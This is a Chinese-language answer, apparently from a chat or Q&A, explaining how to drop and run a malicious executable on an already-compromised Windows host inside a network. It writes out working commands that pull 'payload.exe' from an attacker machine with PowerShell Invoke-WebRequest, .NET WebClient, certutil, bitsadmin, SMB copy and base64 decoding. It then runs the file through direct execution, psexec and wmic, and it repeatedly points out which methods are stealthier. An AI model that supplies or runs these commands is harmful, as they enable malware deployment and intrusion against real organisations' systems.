### 内网文件 exe 落地怎么去做,用什么命令去执行来落地 **1. 文件落地前的准备** 在执行文件落地之前,你需要做好以下准备工作: - **选择合适的工具**:你需要一个轻量、隐蔽、功能强大的工具,例如 **`meterpreter`**,它支持直接在内存中执行 Shellcode,避免文件落地。如果你必须落地文件,可以选择用 C++ 或 Go 等语言编写的、没有明显恶意特征的自定义 Payload - **设置文件服务器**:在你的攻击机上,你需要搭建一个简单的 Web 服务器或 SMB 服务器,以便目标机器能够下载文件 - **HTTP 服务器**:在 Python 中,你可以用一行命令快速启动一个 HTTP 服务器:`python3 -m http.server 80` - **SMB 服务器**:使用 **`Impacket`** 工具包中的 **`smbserver.py`** 脚本,可以搭建一个 SMB 服务器 **2. 内网文件落地常用命令** 一旦你获得了目标机器的权限,就可以使用以下命令来下载文件: **方法一:使用 PowerShell (推荐)** PowerShell 是现代 Windows 系统自带的强大脚本语言,也是渗透测试中最常用的文件落地工具 - **使用 `Invoke-WebRequest` 或 `iwr`** 这是最常用的方法,它可以在后台下载文件,并且功能强大 ```powershell # 下载文件并保存到指定路径 Invoke-WebRequest -Uri http://<攻击机IP>/payload.exe -OutFile C:\Users\Public\payload.exe # 或者使用别名 iwr http://<攻击机IP>/payload.exe -OutFile C:\Users\Public\payload.exe ``` - **使用 `.NET` 对象** 这种方法更隐蔽,因为它直接调用 .NET 库,而不是通过一个特定的 cmdlet ```powershell $WebClient = New-Object System.Net.WebClient $WebClient.DownloadFile("http://<攻击机IP>/payload.exe", "C:\Users\Public\payload.exe") ``` **方法二:使用 `certutil`** `certutil` 是 Windows 系统自带的命令行工具,通常用于管理证书,但它也提供了下载文件的功能 - **下载命令** ```cmd certutil -urlcache -split -f "http://<攻击机IP>/payload.exe" C:\Users\Public\payload.exe ``` - `-urlcache`:允许从 URL 下载 - `-split`:将下载的文件保存为独立文件 - `-f`:强制下载文件 **方法三:使用 `bitsadmin`** `bitsadmin` 是 Windows 后台智能传输服务(BITS)的命令行工具。BITS 服务主要用于在网络中断后自动恢复下载,非常适合在不稳定网络环境下使用 - **下载命令** ```cmd bitsadmin /transfer myjob http://<攻击机IP>/payload.exe C:\Users\Public\payload.exe ``` **方法四:使用 SMB 协议** 如果你在攻击机上搭建了 SMB 服务器,可以直接通过 SMB 协议传输文件,这在许多环境中比 HTTP 更隐蔽 - **下载命令** ```cmd copy \\<攻击机IP>\share\payload.exe C:\Users\Public\payload.exe ``` **方法五:将文件内容写入文件** 这是一个非常隐蔽的方法,特别适用于 Shell 权限受限,无法直接执行下载命令的情况 - **原理**:你将文件的二进制内容转换为文本格式(例如十六进制字符串),然后通过 `echo` 命令或 `certutil -decode` 等方式,将文本内容写入一个新文件,并将其解码为可执行文件 - **示例** 1. 在攻击机上,将 `payload.exe` 转换为 Base64 编码:`base64 payload.exe > payload.b64` 2. 在目标机上,使用 `echo` 将 Base64 字符串写入一个临时文件: ```powershell echo > C:\Users\Public\payload.b64 ``` 3. 使用 `certutil` 将 Base64 文件解码为可执行文件: ```cmd certutil -decode C:\Users\Public\payload.b64 C:\Users\Public\payload.exe ``` **3. 文件落地后的执行** 文件落地成功后,你需要执行它。执行命令取决于你获得的权限 - **在命令行中直接执行** 如果你已经获得了 Shell,可以直接输入文件路径来执行:`C:\Users\Public\payload.exe` - **使用 `psexec`** 如果你有域管理员权限,可以使用 `psexec` 在目标机器上远程执行文件 - **使用 WMI** 利用 **Windows Management Instrumentation (WMI)**,你可以通过远程方式在目标机器上执行进程 ```powershell wmic process call create "C:\Users\Public\payload.exe" ```